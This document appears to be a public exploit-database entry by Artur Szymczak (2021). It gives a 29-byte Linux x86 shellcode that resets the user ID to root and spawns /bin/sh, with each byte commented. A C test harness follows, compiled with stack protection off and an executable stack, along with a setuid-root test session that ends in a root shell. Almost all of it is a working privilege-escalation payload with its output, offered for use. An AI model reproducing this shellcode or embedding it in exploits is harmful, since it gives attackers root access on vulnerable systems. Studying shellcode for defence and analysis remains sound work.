29 bytes small Linux/x86 shellcode that performs setreuid to 0 and then executes /bin/sh.
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Author: Artur [ajes] Szymczak (2021)
Function: Linux x86 shellcode, setreuid to 0 and then execute /bin/sh
Size: 29 bytes
Testing:
$ gcc -fno-stack-protector -z execstack shellcode_tester.c -o shellcode
shellcode_tester.c: In function ‘main’:
shellcode_tester.c:25:2: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]
shellcode_tester.c:25:24: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
$ sudo chown root:root ./shellcode
$ sudo chmod u+s ./shellcode
$ ./shellcode
Length: 29
# id
uid=0(root) gid=1000(artur) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(artur)
*/
char shellcode[] = ""
"\x31\xc0" // clear eax, as we don't know its state
"\xb0\x46" // syscall setreuid
"\x31\xdb" // real user ID = 0
"\x31\xc9" // effective user ID = 0
"\x99" // saved set-user-ID = 0 (using EDX)
"\xcd\x80" // call it
"\x96" // clear eax, as we don't know its state after former syscall
"\xb0\x0b" // syscall execve
"\x53" // NULL string terminator
"\x68\x2f\x2f\x73\x68" // //sh
"\x68\x2f\x62\x69\x6e" // /bin
"\x89\xe3" // pointer to above string - path to the program to execve
"\xcd\x80"; // call it
void main(void)
{
printf("Length: %d\n",strlen(shellcode));
((void(*)(void))shellcode)();
}